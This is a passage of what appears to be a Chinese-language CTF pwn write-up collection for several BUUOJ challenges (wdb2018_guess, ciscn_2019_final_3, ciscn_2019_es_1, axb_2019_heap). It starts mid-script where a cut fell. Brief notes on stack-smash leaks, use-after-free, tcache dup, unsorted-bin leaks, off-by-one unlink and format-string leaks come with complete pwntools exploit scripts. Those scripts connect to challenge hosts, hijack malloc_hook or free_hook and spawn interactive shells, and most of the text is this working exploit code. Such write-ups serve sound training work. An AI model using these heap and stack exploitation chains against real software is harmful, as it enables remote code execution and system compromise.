orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)
shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()
wdb2018_guess
gets栈溢出,stack smash泄露,environ泄露栈地址
3个子进程libc地址相同,都有gets栈溢出,canary被破坏后stack smash,打印栈上的libc_argv[0],可将argv[0]指针溢出覆盖,即可泄露任意地址
首先确定溢出偏移,如下图,输入的位置与argv[0]的距离为0xdf28-0xde00=0x128
,故溢出的偏移为0x128
然后开始溢出,总共溢出3次
第1次泄露puts地址,获得environ指针在libc的地址
第2次泄露environ指针,获取栈上地址,计算保存flag的buf变量地址
如下图,environ和buf变量偏移为0x7ffc1e02e318-0x7ffc1e02e1b0=0x168
第3次泄露buf变量,获得flag
ciscn_2019_final_3
uaf,tcache dup,unsorted bin leak
uaf漏洞,并且程序将返回堆块的地址打印了出来
可以释放同一堆块两次到tcache bin,申请任意堆块,实现任意地址写,考虑写malloc_hook
需要获取libc地址,考虑用unsorted bin,但是程序只允许申请tcache大小范围内的chunk,考虑用tcache dup实现堆块overlap,改写size
将堆块释放到unsorted bins后,fd指针留在了堆块中,再次tcache dup,将堆块申请到main_arena中,并将其地址打印出来,完成地址泄露
综上,总共需要3次tcache利用
- 第1次tcache dup,用来进行堆块overlap,改写size
heap_addr = add(0, 0x10, p64(0))
add(1, 0x50, "a")
add(2, 0x40, "a")
add(3, 0x78, "a")
add(4, 0x78, "a")
add(5, 0x78, "a")
add(6, 0x78, "a")
add(7, 0x78, "a")
add(8, 0x78, "a")
add(9, 0x78, "a")
add(10, 0x20, "a")
add(11, 0x10, "a")
print("heap addr ==> " + hex(heap_addr))
delete(7)
delete(7)
add(12, 0x78, p64(heap_addr))
add(13, 0x78, "a")
payload = b"\x00"*0x18 + p64(0x461)
add(14, 0x78, payload)
- 第2次tcache poison,通过将unsorted bin的fd指针写入到tcache bin中,再次申请tcache bin即可获取main_arena处的堆块
delete(2)
delete(1)
add(15, 0x50, "a")
add(16, 0x40, "a")
bins_addr = add(17, 0x40, b"\x00")
print("bins addr ==> " + hex(bins_addr))
- 第3次tcache dup,将malloc_hook写入next指针,申请目标堆块,写入one_gadget
delete(10)
delete(10)
add(18, 0x20, p64(malloc_hook_addr))
add(19, 0x20, "a")
add(20, 0x20, p64(one_gadget))
完整EXP:
from pwn import *
#io = process("./ciscn_final_3")
io = remote("node4.buuoj.cn", 28365)
libc = ELF("./libc.so.6")
def add(idx,size,data):
io.recvuntil('choice > ')
io.sendline('1')
io.recvuntil('the index')
io.sendline(str(idx))
io.recvuntil('the size')
io.sendline(str(size))
io.recvuntil('something')
io.sendline(data)
io.recvuntil('gift :')
return int(io.recvline()[2:],16)
def delete(idx):
io.recvuntil('choice > ')
io.sendline('2')
io.recvuntil('the index')
io.sendline(str(idx))
heap_addr = add(0, 0x10, p64(0))
add(1, 0x50, "a")
add(2, 0x40, "a")
add(3, 0x78, "a")
add(4, 0x78, "a")
add(5, 0x78, "a")
add(6, 0x78, "a")
add(7, 0x78, "a")
add(8, 0x78, "a")
add(9, 0x78, "a")
add(10, 0x20, "a")
add(11, 0x10, "a")
print("heap addr ==> " + hex(heap_addr))
delete(7)
delete(7)
add(12, 0x78, p64(heap_addr))
add(13, 0x78, "a")
payload = b"\x00"*0x18 + p64(0x461)
add(14, 0x78, payload)
delete(2)
delete(1)
add(15, 0x50, "a")
add(16, 0x40, "a")
bins_addr = add(17, 0x40, b"\x00")
print("bins addr ==> " + hex(bins_addr))
offset = 0x70
malloc_hook_addr = bins_addr - offset
malloc_hook_offset = libc.symbols["__malloc_hook"]
libc_base = malloc_hook_addr - malloc_hook_offset
one_gadget = libc_base + 0x10a38c
print("one gadget ==> " + hex(one_gadget))
delete(10)
delete(10)
add(18, 0x20, p64(malloc_hook_addr))
add(19, 0x20, "a")
add(20, 0x20, p64(one_gadget))
io.sendline('1')
io.sendline('22')
io.interactive()
ciscn_2019_es_1
uaf,unsorted bin leak,tcache dup
uaf漏洞,可以直接申请大一点的堆块然后释放,打印unsorted bin的fd,泄露libc
然后就是tcache dup啦,改写free_hook,然后free("/bin/sh")
from pwn import *
context.log_level="debug"
sh = process('./ciscn_2019_es_1')
sh=remote('node4.buuoj.cn',25758)
libc = ELF('./libc-2.27.so')
def add(size,name,compary):
sh.sendlineafter('choice:','1')
sh.sendlineafter("compary's name",str(int(size)))
sh.sendafter('input name:',name)
sh.sendafter('call:',compary)
def show(index):
sh.sendlineafter('choice:','2')
sh.sendlineafter('\n',str(index))
def call(index):
sh.sendlineafter('choice','3')
sh.sendlineafter('\n',str(index))
add(0x410,'aaaa','0')
add(0x20,'bbbb','1')
add(0x20,'ccc','2')
add(0x20,b'/bin/sh','3')
call(0)
show(0)
libcbase=u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
call(1)
call(1)
add(0x28,p64(free_hook),'1')
add(0x28,'dddd','2')
add(0x28,p64(system),'4')
call(3)
sh.interactive()
axb_2019_heap
off-by-one,unlink,格式化字符串泄露程序基址和libc
程序开了PIE,在get_input时堆块可以溢出1字节
如下图,栈上保存有main函数和libc_start_main的地址,通过%11$p%15$p
可以把这两个值打出来,获取程序加载基址和libc基址
然后通过off-by-one构造unlink,实现任意地址写,将free_hook写为system
from pwn import *
p = remote("node4.buuoj.cn",28212)
#p = process("./axb_2019_heap")
context.log_level = 'debug'
elf = ELF("./axb_2019_heap")
libc = ELF('./libc64-2.23.so')
def add(idx,size,content):
p.sendlineafter('>>','1')
p.sendlineafter('):',str(idx))
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)
def delete(idx):
p.sendlineafter('>>','2')
p.sendlineafter('index:',str(idx))
def edit(idx,content):
p.sendlineafter('>>','4')
p.sendlineafter('index:',str(idx))
p.sendlineafter('content: \n',content)
def show():
p.sendlineafter('>>','3')
p.recvuntil('name: ')
p.sendline('%11$p%15$p')
p.recvuntil('Hello, ')
base=int(p.recv(14),16)-0x1186
#success("base:"+hex(base))
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
bss=base+0x202060
success("bss:"+hex(bss))
add(0,0x98,'aaaa')#0
add(1,0x98,'bbbb')#1
add(2,0x90,'cccc')#2
add(3,0x90,b'/bin/sh\x00')#3
#gdb.attach(p)
payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+b'\xa0'
edit(0,payload)
#gdb.attach(p)
delete(1)
edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
#gdb.attach(p)
edit(0,p64(system))
#gdb.attach(p)
delete(3)
p.interactive()